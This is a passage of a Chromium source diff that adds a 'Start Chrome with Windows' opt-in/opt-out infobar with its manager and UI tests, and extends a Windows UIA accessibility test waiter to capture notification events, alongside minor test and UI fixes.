+      return l10n_util::GetStringUTF16(
+          IDS_STARTUP_LAUNCH_INFOBAR_SETTINGS_BUTTON);
+  }
+}
+
+bool StartupLaunchInfoBarDelegate::ShouldHideInFullscreen() const {
+  return true;
+}
diff --git a/chrome/browser/ui/startup/startup_launch_infobar_delegate.h b/chrome/browser/ui/startup/startup_launch_infobar_delegate.h
new file mode 100644
index 0000000..329c770
--- /dev/null
+++ b/chrome/browser/ui/startup/startup_launch_infobar_delegate.h
@@ -0,0 +1,52 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef CHROME_BROWSER_UI_STARTUP_STARTUP_LAUNCH_INFOBAR_DELEGATE_H_
+#define CHROME_BROWSER_UI_STARTUP_STARTUP_LAUNCH_INFOBAR_DELEGATE_H_
+
+#include <memory>
+
+#include "base/memory/raw_ptr.h"
+#include "base/types/pass_key.h"
+#include "chrome/browser/startup/startup_launch_infobar_manager.h"
+#include "components/infobars/core/confirm_infobar_delegate.h"
+
+class Profile;
+
+// A delegate for the "Start Chrome with Windows" infobar.
+// This infobar asks the user if they want to enable the feature (OptIn)
+// or allows them to configure it (OptOut).
+class StartupLaunchInfoBarDelegate : public ConfirmInfoBarDelegate {
+ public:
+  static std::unique_ptr<StartupLaunchInfoBarDelegate> Create(
+      Profile* profile,
+      StartupLaunchInfoBarManager::InfoBarType infobar_type);
+
+  StartupLaunchInfoBarDelegate(const StartupLaunchInfoBarDelegate&);
+  StartupLaunchInfoBarDelegate& operator=(const StartupLaunchInfoBarDelegate&) =
+      delete;
+
+  StartupLaunchInfoBarDelegate(
+      base::PassKey<StartupLaunchInfoBarDelegate>,
+      Profile* profile,
+      StartupLaunchInfoBarManager::InfoBarType infobar_type);
+  ~StartupLaunchInfoBarDelegate() override;
+
+ private:
+  // ConfirmInfoBarDelegate:
+  infobars::InfoBarDelegate::InfoBarIdentifier GetIdentifier() const override;
+  const gfx::VectorIcon& GetVectorIcon() const override;
+  bool ShouldExpire(const NavigationDetails& details) const override;
+  std::u16string GetMessageText() const override;
+  int GetButtons() const override;
+  std::u16string GetButtonLabel(InfoBarButton button) const override;
+  bool ShouldHideInFullscreen() const override;
+  bool Accept() override;
+
+  // The WebContents's corresponding profile.
+  raw_ptr<Profile> profile_;
+  StartupLaunchInfoBarManager::InfoBarType infobar_type_;
+};
+
+#endif  // CHROME_BROWSER_UI_STARTUP_STARTUP_LAUNCH_INFOBAR_DELEGATE_H_
diff --git a/chrome/browser/ui/startup/startup_launch_infobar_interactive_uitest.cc b/chrome/browser/ui/startup/startup_launch_infobar_interactive_uitest.cc
new file mode 100644
index 0000000..2b59e59
--- /dev/null
+++ b/chrome/browser/ui/startup/startup_launch_infobar_interactive_uitest.cc
@@ -0,0 +1,97 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/browser_process.h"
+#include "chrome/browser/profiles/profile.h"
+#include "chrome/browser/ui/browser.h"
+#include "chrome/browser/ui/browser_element_identifiers.h"
+#include "chrome/browser/ui/startup/startup_launch_infobar_delegate.h"
+#include "chrome/browser/ui/startup/startup_launch_infobar_manager_impl.h"
+#include "chrome/browser/ui/views/infobars/confirm_infobar.h"
+#include "chrome/common/pref_names.h"
+#include "chrome/common/webui_url_constants.h"
+#include "chrome/test/interaction/interactive_browser_test.h"
+#include "components/infobars/core/infobar.h"
+#include "components/prefs/pref_service.h"
+#include "content/public/test/browser_test.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+namespace {
+DEFINE_LOCAL_ELEMENT_IDENTIFIER_VALUE(kWebContentsElementId);
+}
+
+class StartupLaunchInfoBarInteractiveTest : public InteractiveBrowserTest {
+ protected:
+  StartupLaunchInfoBarInteractiveTest() = default;
+  ~StartupLaunchInfoBarInteractiveTest() override = default;
+
+  void SetUpOnMainThread() override {
+    InteractiveBrowserTest::SetUpOnMainThread();
+    manager_ = std::make_unique<StartupLaunchInfoBarManagerImpl>();
+  }
+
+  void TearDownOnMainThread() override {
+    manager_.reset();
+    InteractiveBrowserTest::TearDownOnMainThread();
+  }
+
+  std::unique_ptr<StartupLaunchInfoBarManagerImpl> manager_;
+};
+
+IN_PROC_BROWSER_TEST_F(StartupLaunchInfoBarInteractiveTest, ShowOptInInfoBar) {
+  RunTestSequence(
+      Do([this]() {
+        manager_->ShowInfoBars(
+            StartupLaunchInfoBarManager::InfoBarType::kForegroundOptIn);
+      }),
+      WaitForShow(ConfirmInfoBar::kInfoBarElementId),
+      PressButton(ConfirmInfoBar::kOkButtonElementId),
+      CheckResult(
+          []() {
+            return g_browser_process->local_state()->GetBoolean(
+                prefs::kForegroundLaunchOnLogin);
+          },
+          true));
+}
+
+IN_PROC_BROWSER_TEST_F(StartupLaunchInfoBarInteractiveTest, ShowOptOutInfoBar) {
+  RunTestSequence(
+      InstrumentTab(kWebContentsElementId, 0), Do([this]() {
+        manager_->ShowInfoBars(
+            StartupLaunchInfoBarManager::InfoBarType::kForegroundOptOut);
+      }),
+      WaitForShow(ConfirmInfoBar::kInfoBarElementId),
+      PressButton(ConfirmInfoBar::kOkButtonElementId),
+      WaitForWebContentsNavigation(kWebContentsElementId,
+                                   GURL("chrome://settings/onStartup")));
+}
+
+IN_PROC_BROWSER_TEST_F(StartupLaunchInfoBarInteractiveTest,
+                       InfoBarAppearsOnNewTabs) {
+  RunTestSequence(
+      Do([this]() {
+        manager_->ShowInfoBars(
+            StartupLaunchInfoBarManager::InfoBarType::kForegroundOptIn);
+      }),
+      WaitForShow(ConfirmInfoBar::kInfoBarElementId),
+      AddInstrumentedTab(kWebContentsElementId, GURL("about:blank")),
+      WaitForShow(ConfirmInfoBar::kInfoBarElementId));
+}
+
+IN_PROC_BROWSER_TEST_F(StartupLaunchInfoBarInteractiveTest,
+                       DismissingOneClosesAll) {
+  RunTestSequence(
+      Do([this]() {
+        manager_->ShowInfoBars(
+            StartupLaunchInfoBarManager::InfoBarType::kForegroundOptIn);
+      }),
+      WaitForShow(ConfirmInfoBar::kInfoBarElementId),
+      AddInstrumentedTab(kWebContentsElementId, GURL("about:blank")),
+      WaitForShow(ConfirmInfoBar::kInfoBarElementId),
+      PressButton(ConfirmInfoBar::kDismissButtonElementId),
+      WaitForHide(ConfirmInfoBar::kInfoBarElementId),
+      // Check that it's also gone from the other tab.
+      SelectTab(kTabStripElementId, 0),
+      EnsureNotPresent(ConfirmInfoBar::kInfoBarElementId));
+}
diff --git a/chrome/browser/ui/startup/startup_launch_infobar_manager_impl.cc b/chrome/browser/ui/startup/startup_launch_infobar_manager_impl.cc
new file mode 100644
index 0000000..15caccc
--- /dev/null
+++ b/chrome/browser/ui/startup/startup_launch_infobar_manager_impl.cc
@@ -0,0 +1,191 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/ui/startup/startup_launch_infobar_manager_impl.h"
+
+#include <utility>
+#include <vector>
+
+#include "base/functional/bind.h"
+#include "base/functional/callback_helpers.h"
+#include "base/metrics/histogram_functions.h"
+#include "base/metrics/histogram_macros.h"
+#include "base/metrics/user_metrics.h"
+#include "base/metrics/user_metrics_action.h"
+#include "chrome/browser/browser_process.h"
+#include "chrome/browser/infobars/confirm_infobar_creator.h"
+#include "chrome/browser/profiles/profile.h"
+#include "chrome/browser/ui/browser.h"
+#include "chrome/browser/ui/browser_tab_strip_tracker.h"
+#include "chrome/browser/ui/browser_window/public/browser_window_interface.h"
+#include "chrome/browser/ui/browser_window/public/global_browser_collection.h"
+#include "chrome/browser/ui/chrome_pages.h"
+#include "chrome/browser/ui/startup/startup_launch_infobar_delegate.h"
+#include "chrome/browser/ui/tabs/tab_strip_model.h"
+#include "chrome/common/pref_names.h"
+#include "chrome/common/webui_url_constants.h"
+#include "components/infobars/content/content_infobar_manager.h"
+#include "components/infobars/core/infobar.h"
+#include "components/prefs/pref_service.h"
+
+StartupLaunchInfoBarManagerImpl::StartupLaunchInfoBarManagerImpl() = default;
+StartupLaunchInfoBarManagerImpl::~StartupLaunchInfoBarManagerImpl() {
+  CloseAllInfoBars();
+}
+
+void StartupLaunchInfoBarManagerImpl::ShowInfoBars(InfoBarType infobar_type) {
+  CloseAllInfoBars();
+
+  infobar_type_ = infobar_type;
+  browser_collection_observation_.Observe(
+      GlobalBrowserCollection::GetInstance());
+  browser_tab_strip_tracker_ =
+      std::make_unique<BrowserTabStripTracker>(this, this);
+  // This will trigger a call to `OnTabStripModelChanged`, which will create
+  // the info bar.
+  browser_tab_strip_tracker_->Init();
+}
+
+void StartupLaunchInfoBarManagerImpl::CloseAllInfoBars() {
+  did_user_interact_ = false;
+
+  browser_collection_observation_.Reset();
+  browser_tab_strip_tracker_.reset();
+
+  // Extract InfoBars to a vector avoid DanglingPtr issues in the map when the
+  // InfoBars are destroyed.
+  std::vector<infobars::InfoBar*> infobars_to_close;
+  infobars_to_close.reserve(infobars_.size());
+  for (const auto& entry : infobars_) {
+    infobars_to_close.push_back(entry.second);
+  }
+
+  // Clear the map before destroying the InfoBars to ensure the
+  // raw_ptr<InfoBar>s in the map are destroyed while the InfoBars are still
+  // alive.
+  infobars_.clear();
+
+  for (infobars::InfoBar* infobar : infobars_to_close) {
+    if (!infobar) {
+      continue;
+    }
+    infobar->owner()->RemoveObserver(this);
+    infobar->RemoveSelf();
+  }
+}
+
+void StartupLaunchInfoBarManagerImpl::AddObserver(
+    StartupLaunchInfoBarManager::Observer* observer) {
+  observers_.AddObserver(observer);
+}
+
+void StartupLaunchInfoBarManagerImpl::RemoveObserver(
+    StartupLaunchInfoBarManager::Observer* observer) {
+  observers_.RemoveObserver(observer);
+}
+
+void StartupLaunchInfoBarManagerImpl::CreateInfoBarForWebContents(
+    content::WebContents* web_contents,
+    Profile* profile) {
+  // Ensure that an infobar hasn't already been created.
+  CHECK(!infobars_.contains(web_contents));
+
+  auto delegate = StartupLaunchInfoBarDelegate::Create(profile, infobar_type_);
+  delegate->AddObserver(this);
+
+  auto* content_infobar_manager =
+      infobars::ContentInfoBarManager::FromWebContents(web_contents);
+  infobars::InfoBar* infobar = content_infobar_manager->AddInfoBar(
+      CreateConfirmInfoBar(std::move(delegate)));
+
+  if (infobar == nullptr) {
+    // Infobar may be null if `InfoBarManager::ShouldShowInfoBar` returns false,
+    // in which case this function should do nothing. One case where this can
+    // happen is if the --headless command  line switch is present.
+    return;
+  }
+
+  infobars_[web_contents] = infobar;
+  content_infobar_manager->AddObserver(this);
+}
+
+bool StartupLaunchInfoBarManagerImpl::ShouldTrackBrowser(
+    BrowserWindowInterface* browser) {
+  return browser->GetType() == BrowserWindowInterface::TYPE_NORMAL &&
+         !browser->GetProfile()->IsIncognitoProfile() &&
+         !browser->GetProfile()->IsGuestSession();
+}
+
+void StartupLaunchInfoBarManagerImpl::OnTabStripModelChanged(
+    TabStripModel* tab_strip_model,
+    const TabStripModelChange& change,
+    const TabStripSelectionChange& selection) {
+  if (change.type() == TabStripModelChange::kInserted) {
+    for (const auto& contents : change.GetInsert()->contents) {
+      if (!infobars_.contains(contents.contents)) {
+        CreateInfoBarForWebContents(contents.contents,
+                                    tab_strip_model->profile());
+      }
+    }
+  }
+}
+
+void StartupLaunchInfoBarManagerImpl::OnInfoBarRemoved(
+    infobars::InfoBar* infobar,
+    bool animate) {
+  auto infobars_entry = std::ranges::find(
+      infobars_, infobar, &decltype(infobars_)::value_type::second);
+  if (infobars_entry == infobars_.end()) {
+    return;
+  }
+
+  infobar->owner()->RemoveObserver(this);
+  infobars_.erase(infobars_entry);
+  static_cast<ConfirmInfoBarDelegate*>(infobar->delegate())
+      ->RemoveObserver(this);
+
+  if (did_user_interact_) {
+    CloseAllInfoBars();
+    for (auto& observer : observers_) {
+      observer.OnInfoBarDismissed();
+    }
+  }
+}
+
+void StartupLaunchInfoBarManagerImpl::OnAccept() {
+  did_user_interact_ = true;
+  switch (infobar_type_) {
+    case InfoBarType::kForegroundOptOut:
+      GlobalBrowserCollection::GetInstance()->ForEach(
+          [this](BrowserWindowInterface* browser) {
+            if (ShouldTrackBrowser(browser)) {
+              chrome::ShowSettingsSubPage(browser->GetBrowserForMigrationOnly(),
+                                          chrome::kOnStartupSubPage);
+              return false;
+            }
+            return true;
+          },
+          BrowserCollection::Order::kActivation);
+      break;
+    case InfoBarType::kForegroundOptIn:
+      g_browser_process->local_state()->SetBoolean(
+          prefs::kForegroundLaunchOnLogin, true);
+
+      break;
+  }
+}
+
+void StartupLaunchInfoBarManagerImpl::OnDismiss() {
+  did_user_interact_ = true;
+
+  auto* local_state = g_browser_process->local_state();
+
+  const int decline_count =
+      local_state->GetInteger(prefs::kStartupLaunchInfobarDeclinedCount);
+  local_state->SetInteger(prefs::kStartupLaunchInfobarDeclinedCount,
+                          decline_count + 1);
+
+  local_state->SetTime(prefs::kStartupLaunchInfobarLastDeclinedTime,
+                       base::Time::Now());
+}
diff --git a/chrome/browser/ui/startup/startup_launch_infobar_manager_impl.h b/chrome/browser/ui/startup/startup_launch_infobar_manager_impl.h
new file mode 100644
index 0000000..944a4318
--- /dev/null
+++ b/chrome/browser/ui/startup/startup_launch_infobar_manager_impl.h
@@ -0,0 +1,95 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef CHROME_BROWSER_UI_STARTUP_STARTUP_LAUNCH_INFOBAR_MANAGER_IMPL_H_
+#define CHROME_BROWSER_UI_STARTUP_STARTUP_LAUNCH_INFOBAR_MANAGER_IMPL_H_
+
+#include <map>
+#include <memory>
+
+#include "base/memory/raw_ptr.h"
+#include "base/observer_list.h"
+#include "base/scoped_observation.h"
+#include "chrome/browser/startup/startup_launch_infobar_manager.h"
+#include "chrome/browser/ui/browser_tab_strip_tracker_delegate.h"
+#include "chrome/browser/ui/browser_window/public/browser_collection_observer.h"
+#include "chrome/browser/ui/browser_window/public/global_browser_collection.h"
+#include "chrome/browser/ui/tabs/tab_strip_model_observer.h"
+#include "components/infobars/core/confirm_infobar_delegate.h"
+#include "components/infobars/core/infobar_manager.h"
+
+namespace content {
+class WebContents;
+}  // namespace content
+
+namespace infobars {
+class InfoBar;
+}  // namespace infobars
+
+class BrowserTabStripTracker;
+class BrowserWindowInterface;
+
+class Profile;
+
+class TabStripModel;
+
+// Implementation of StartupLaunchInfoBarManager that manages the lifecycle of
+// startup launch infobars across multiple browser windows and tabs.
+// It tracks tab insertions to show the infobar on new tabs and observes
+// infobar events to handle user interactions and cleanup.
+class StartupLaunchInfoBarManagerImpl
+    : public StartupLaunchInfoBarManager,
+      public BrowserCollectionObserver,
+      public BrowserTabStripTrackerDelegate,
+      public TabStripModelObserver,
+      public infobars::InfoBarManager::Observer,
+      public ConfirmInfoBarDelegate::Observer {
+ public:
+  StartupLaunchInfoBarManagerImpl();
+  ~StartupLaunchInfoBarManagerImpl() override;
+
+  StartupLaunchInfoBarManagerImpl(const StartupLaunchInfoBarManagerImpl&) =
+      delete;
+  StartupLaunchInfoBarManagerImpl& operator=(
+      const StartupLaunchInfoBarManagerImpl&) = delete;
+
+  // StartupLaunchInfoBarManager:
+  void ShowInfoBars(InfoBarType infobar_type) override;
+  void CloseAllInfoBars() override;
+  void AddObserver(StartupLaunchInfoBarManager::Observer* observer) override;
+  void RemoveObserver(StartupLaunchInfoBarManager::Observer* observer) override;
+
+ private:
+  void CreateInfoBarForWebContents(content::WebContents* contents,
+                                   Profile* profile);
+
+  // BrowserTabStripTrackerDelegate
+  bool ShouldTrackBrowser(BrowserWindowInterface* browser) override;
+
+  // TabStripModelObserver:
+  void OnTabStripModelChanged(
+      TabStripModel* tab_strip_model,
+      const TabStripModelChange& change,
+      const TabStripSelectionChange& selection) override;
+
+  // InfoBarManager::Observer:
+  void OnInfoBarRemoved(infobars::InfoBar* infobar, bool animate) override;
+
+  // ConfirmInfoBarDelegate::Observer
+  void OnAccept() override;
+  void OnDismiss() override;
+
+  std::unique_ptr<BrowserTabStripTracker> browser_tab_strip_tracker_;
+  std::map<raw_ptr<content::WebContents>, raw_ptr<infobars::InfoBar>> infobars_;
+
+  base::ObserverList<StartupLaunchInfoBarManager::Observer> observers_;
+
+  base::ScopedObservation<GlobalBrowserCollection, BrowserCollectionObserver>
+      browser_collection_observation_{this};
+
+  bool did_user_interact_ = false;
+  InfoBarType infobar_type_;
+};
+
+#endif  // CHROME_BROWSER_UI_STARTUP_STARTUP_LAUNCH_INFOBAR_MANAGER_IMPL_H_
diff --git a/chrome/browser/ui/toasts/toast_controller_interactive_ui_test.cc b/chrome/browser/ui/toasts/toast_controller_interactive_ui_test.cc
index b65f2ed..fe40d94 100644
--- a/chrome/browser/ui/toasts/toast_controller_interactive_ui_test.cc
+++ b/chrome/browser/ui/toasts/toast_controller_interactive_ui_test.cc
@@ -359,7 +359,7 @@
 IN_PROC_BROWSER_TEST_F(ToastControllerInteractiveTest,
                        MAYBE_ToastDoesNotCloseWhileMenuIsOpen) {
 #if BUILDFLAG(IS_OZONE)
-  if (ui::OzonePlatform::GetPlatformNameForTest() == "wayland") {
+  if (ui::OzonePlatform::RunningOnWaylandForTest()) {
     GTEST_SKIP() << "Flaky in Wayland due to way events are routed and bounds "
                     "are reported";
   }
diff --git a/chrome/browser/ui/views/accessibility/uia_accessibility_event_waiter.cc b/chrome/browser/ui/views/accessibility/uia_accessibility_event_waiter.cc
index 0d879b4..bd72010 100644
--- a/chrome/browser/ui/views/accessibility/uia_accessibility_event_waiter.cc
+++ b/chrome/browser/ui/views/accessibility/uia_accessibility_event_waiter.cc
@@ -52,6 +52,11 @@
   shutdown_signal_.Signal();
 }
 
+void UiaAccessibilityEventWaiter::Thread::SetNotificationString(
+    const std::wstring& str) {
+  owner_->notification_string_ = str;
+}
+
 void UiaAccessibilityEventWaiter::Thread::Init(
     UiaAccessibilityEventWaiter* owner,
     const UiaAccessibilityWaiterInfo& info,
@@ -68,10 +73,12 @@
   base::win::ScopedCOMInitializer com_init{
       base::win::ScopedCOMInitializer::kMTA};
 
-  // Create an instance of the CUIAutomation class.
-  CoCreateInstance(CLSID_CUIAutomation, nullptr, CLSCTX_INPROC_SERVER,
-                   IID_PPV_ARGS(&uia_));
-  CHECK(uia_.Get());
+  // Use CLSID_CUIAutomation8 and query for IUIAutomation5 (notification
+  // events). CLSID_CUIAutomation's object does not support IUIAutomation5,
+  // without this the tests will not receive notification events.
+  HRESULT hr = CoCreateInstance(CLSID_CUIAutomation8, nullptr,
+                                CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&uia_));
+  CHECK(SUCCEEDED(hr)) << "CoCreateInstance failed: " << std::hex << hr;
 
   // Find the IUIAutomationElement for the root content window.
   uia_->ElementFromHandle(info_.hwnd, &root_);
@@ -116,16 +123,24 @@
   // Subscribe to all automation events (except structure-change events and
   // live-region events, which are handled elsewhere).
   constexpr EVENTID kMinEvent = UIA_ToolTipOpenedEventId;
-  constexpr EVENTID kMaxEvent = UIA_NotificationEventId;
+  constexpr EVENTID kMaxEvent = UIA_ActiveTextPositionChangedEventId;
   for (EVENTID event_id = kMinEvent; event_id <= kMaxEvent; ++event_id) {
     if (event_id != UIA_StructureChangedEventId &&
-        event_id != UIA_LiveRegionChangedEventId) {
+        event_id != UIA_LiveRegionChangedEventId &&
+        event_id != UIA_NotificationEventId) {
       uia_->AddAutomationEventHandler(
           event_id, root_.Get(), TreeScope::TreeScope_Subtree,
           cache_request_.Get(), uia_event_handler_.Get());
     }
   }
 
+  // Subscribe to notification events using the dedicated notification handler.
+  // UIA_NotificationEventId requires IUIAutomationNotificationEventHandler,
+  // not the generic IUIAutomationEventHandler.
+  uia_->AddNotificationEventHandler(root_.Get(), TreeScope::TreeScope_Subtree,
+                                    cache_request_.Get(),
+                                    uia_event_handler_.Get());
+
   // Subscribe to live-region change events.  This must be the last event we
   // subscribe to, because |AXFragmentRootWin| will fire events when advised of
   // the subscription, and this can hang the test-process (on Windows 19H1+) if
@@ -202,11 +217,45 @@
 UiaAccessibilityEventWaiter::Thread::EventHandler::HandleAutomationEvent(
     IUIAutomationElement* sender,
     EVENTID event_id) {
-  if (owner_ &&
-      event_id ==
-          ui::AXPlatformNodeWin::MojoEventToUIAEvent(owner_->info_.event) &&
-      MatchesNameRole(sender)) {
-    owner_->SendShutdownSignal();
+  if (owner_ && MatchesNameRole(sender)) {
+    // Check if we're waiting for a direct UIA event ID or an ax::mojom::Event.
+    EVENTID expected_event_id = owner_->info_.uia_event_id;
+    if (expected_event_id == 0) {
+      // Fall back to mapping from ax::mojom::Event.
+      auto mapped_event =
+          ui::AXPlatformNodeWin::MojoEventToUIAEvent(owner_->info_.event);
+      expected_event_id = mapped_event.value_or(0);
+    }
+    // Guard against matching event_id 0, which would indicate no valid event.
+    // Also skip UIA_NotificationEventId since it's handled by
+    // HandleNotificationEvent.
+    if (expected_event_id != 0 && event_id == expected_event_id &&
+        event_id != UIA_NotificationEventId) {
+      owner_->SendShutdownSignal();
+    }
+  }
+  return S_OK;
+}
+
+HRESULT
+UiaAccessibilityEventWaiter::Thread::EventHandler::HandleNotificationEvent(
+    IUIAutomationElement* sender,
+    NotificationKind notification_kind,
+    NotificationProcessing notification_processing,
+    BSTR display_string,
+    BSTR activity_id) {
+  if (owner_) {
+    // Check if we're waiting for UIA_NotificationEventId.
+    // For notification events, we don't check MatchesNameRole because the
+    // cached properties may not be reliably available on the sender element.
+    // The test should be structured to only trigger the expected notification.
+    if (owner_->info_.uia_event_id == UIA_NotificationEventId) {
+      if (display_string) {
+        owner_->SetNotificationString(
+            std::wstring(display_string, SysStringLen(display_string)));
+      }
+      owner_->SendShutdownSignal();
+    }
   }
   return S_OK;
 }
diff --git a/chrome/browser/ui/views/accessibility/uia_accessibility_event_waiter.h b/chrome/browser/ui/views/accessibility/uia_accessibility_event_waiter.h
index 515adbc..a4e638e 100644
--- a/chrome/browser/ui/views/accessibility/uia_accessibility_event_waiter.h
+++ b/chrome/browser/ui/views/accessibility/uia_accessibility_event_waiter.h
@@ -29,6 +29,9 @@
   std::wstring role;
   std::wstring name;
   ax::mojom::Event event;
+  // Optional: specify a direct UIA event ID. If set to a non-zero value,
+  // this takes precedence over the ax::mojom::Event mapping.
+  EVENTID uia_event_id = 0;
 };
 
 class UiaAccessibilityEventWaiter {
@@ -39,6 +42,12 @@
   void Wait();
   void WaitWithTimeout(base::TimeDelta timeout);
 
+  // Returns the notification string captured from the last notification event.
+  // Only valid after Wait() returns when waiting for UIA_NotificationEventId.
+  const std::wstring& GetNotificationString() const {
+    return notification_string_;
+  }
+
  private:
   // All UIA calls need to be made on a secondary MTA thread to avoid sporadic
   // test hangs / timeouts.
@@ -53,6 +62,7 @@
               base::OnceClosure shutdown_loop);
 
     void SendShutdownSignal();
+    void SetNotificationString(const std::wstring& str);
 
     void ThreadMain() override;
 
@@ -62,7 +72,7 @@
    private:
     raw_ptr<UiaAccessibilityEventWaiter> owner_ = nullptr;
 
-    Microsoft::WRL::ComPtr<IUIAutomation> uia_;
+    Microsoft::WRL::ComPtr<IUIAutomation5> uia_;
     Microsoft::WRL::ComPtr<IUIAutomationElement> root_;
     Microsoft::WRL::ComPtr<IUIAutomationCacheRequest> cache_request_;
 
@@ -77,7 +87,8 @@
                          public IUIAutomationFocusChangedEventHandler,
                          public IUIAutomationPropertyChangedEventHandler,
                          public IUIAutomationStructureChangedEventHandler,
-                         public IUIAutomationEventHandler {
+                         public IUIAutomationEventHandler,
+                         public IUIAutomationNotificationEventHandler {
      public:
       EventHandler();
 
@@ -95,6 +106,7 @@
       COM_INTERFACE_ENTRY(IUIAutomationPropertyChangedEventHandler)
       COM_INTERFACE_ENTRY(IUIAutomationStructureChangedEventHandler)
       COM_INTERFACE_ENTRY(IUIAutomationEventHandler)
+      COM_INTERFACE_ENTRY(IUIAutomationNotificationEventHandler)
       END_COM_MAP()
 
       // IUIAutomationFocusChangedEventHandler interface.
@@ -116,6 +128,14 @@
       IFACEMETHODIMP HandleAutomationEvent(IUIAutomationElement* sender,
                                            EVENTID event_id) override;
 
+      // IUIAutomationNotificationEventHandler interface.
+      IFACEMETHODIMP HandleNotificationEvent(
+          IUIAutomationElement* sender,
+          NotificationKind notification_kind,
+          NotificationProcessing notification_processing,
+          BSTR display_string,
+          BSTR activity_id) override;
+
       // Points to the waiter to receive notifications.
       raw_ptr<UiaAccessibilityEventWaiter::Thread> owner_ = nullptr;
 
@@ -130,6 +150,7 @@
   Thread thread_;
   base::RunLoop shutdown_loop_;
   base::PlatformThreadHandle thread_handle_;
+  std::wstring notification_string_;
 };
 
 #endif  // CHROME_BROWSER_UI_VIEWS_ACCESSIBILITY_UIA_ACCESSIBILITY_EVENT_WAITER_H_
diff --git a/chrome/browser/ui/views/autofill/payments/offer_notification_icon_view_browsertest.cc b/chrome/browser/ui/views/autofill/payments/offer_notification_icon_view_browsertest.cc
index 6045561..a411783 100644
--- a/chrome/browser/ui/views/autofill/payments/offer_notification_icon_view_browsertest.cc
+++ b/chrome/browser/ui/views/autofill/payments/offer_notification_icon_view_browsertest.cc
@@ -104,7 +104,7 @@
   void WaitForUserDismissal() override {
     // Consider closing the browser to be dismissal. This is useful when using
     // the test-launcher-interactive option.
-    ui_test_utils::WaitForBrowserToClose();
+    ui_test_utils::BrowserDestroyedObserver().Wait();
   }
 
  protected:
diff --git a/chrome/browser/ui/views/bookmarks/bookmark_bar_view.cc b/chrome/browser/ui/views/bookmarks/bookmark_bar_view.cc
index 860f72a..0aa98f68 100644
--- a/chrome/browser/ui/views/bookmarks/bookmark_bar_view.cc
+++ b/chrome/browser/ui/views/bookmarks/bookmark_bar_view.cc
@@ -71,7 +71,7 @@
 #include "chrome/browser/ui/views/chrome_layout_provider.h"
 #include "chrome/browser/ui/views/event_utils.h"
 #include "chrome/browser/ui/views/frame/browser_view.h"
-#include "chrome/browser/ui/views/frame/top_container_background.h"
+#include "chrome/browser/ui/views/frame/themed_background.h"
 #include "chrome/browser/ui/views/side_panel/side_panel_ui.h"
 #include "chrome/browser/ui/views/side_panel/side_panel_util.h"
 #include "chrome/browser/ui/views/toolbar/toolbar_ink_drop_util.h"
@@ -421,7 +421,7 @@
 
   // May be null for tests.
   if (browser_view) {
-    SetBackground(std::make_unique<TopContainerBackground>(browser_view));
+    SetBackground(std::make_unique<ThemedBackground>(browser_view));
   }
 
   views::SetCascadingColorProviderColor(this, views::kCascadingBackgroundColor,
diff --git a/chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_interactive_uitest.cc b/chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_interactive_uitest.cc
index 1afc296d..896e5d3 100644
--- a/chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_interactive_uitest.cc
+++ b/chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_interactive_uitest.cc
@@ -1399,12 +1399,10 @@
       // Use the keyboard shortcut command to create a new tab group.
       SendAccelerator(kBrowserViewElementId, create_accelerator),
       EnsurePresent(kTabGroupHeaderElementId),
-      // Refocus the first tab in the group to close the tab group editor
-      // bubble. We do this by opening the group.
-      PressButton(kSavedTabGroupButtonElementId),
-      PressButton(kSavedTabGroupButtonElementId),
-      WaitForShow(STGTabsMenuModel::kOpenGroup),
-      SelectMenuItem(STGTabsMenuModel::kOpenGroup),
+      // Close the tab group editor bubble.
+      SendAccelerator(kTabGroupEditorBubbleId,
+                      ui::Accelerator(ui::VKEY_ESCAPE, ui::MODIFIER_NONE)),
+      WaitForHide(kTabGroupEditorBubbleId), FinishTabstripAnimations(),
       // Use the keyboard shortcut command to add a new tab at the end of the
       // group.
       SendAccelerator(kBrowserViewElementId, add_new_tab_to_group_accelerator),
@@ -1443,11 +1441,10 @@
       // Use the keyboard shortcut command to create a new tab group.
       SendAccelerator(kBrowserViewElementId, create_accelerator),
       EnsurePresent(kTabGroupHeaderElementId),
-      // Refocus the first tab in the group to close the tab group editor
-      // bubble. We do this by opening the group.
-      PressButton(kSavedTabGroupButtonElementId),
-      WaitForShow(STGTabsMenuModel::kOpenGroup),
-      SelectMenuItem(STGTabsMenuModel::kOpenGroup),
+      // Close the tab group editor bubble.
+      SendAccelerator(kTabGroupEditorBubbleId,
+                      ui::Accelerator(ui::VKEY_ESCAPE, ui::MODIFIER_NONE)),
+      WaitForHide(kTabGroupEditorBubbleId), FinishTabstripAnimations(),
       // Use the keyboard shortcut command to close the tab group.
       SendAccelerator(kBrowserViewElementId, close_accelerator),
       WaitForHide(kTabGroupHeaderElementId),
diff --git a/chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_tabs_menu_model.cc b/chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_tabs_menu_model.cc
index 578655b..5621b14 100644
--- a/chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_tabs_menu_model.cc
+++ b/chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_tabs_menu_model.cc
@@ -66,9 +66,13 @@
     base::RepeatingCallback<int()> get_next_command_id) {
   command_id_to_action_.clear();
   should_enable_move_menu_item_ = true;
+  should_enable_open_menu_item_ = true;
   sync_id_ = saved_group.saved_guid();
-
   // Add item: open in browser.
+  if (saved_group.local_group_id().has_value()) {
+    should_enable_open_menu_item_ = false;
+  }
+
   int latest_command_id = get_next_command_id.Run();
   AddItemWithStringIdAndIcon(
       latest_command_id, IDS_OPEN_GROUP_IN_BROWSER_MENU,
@@ -205,15 +209,17 @@
     const Browser* const browser_with_local_group_id =
         SavedTabGroupUtils::GetBrowserWithTabGroupId(
             saved_group.local_group_id().value());
-    const TabStripModel* const tab_strip_model =
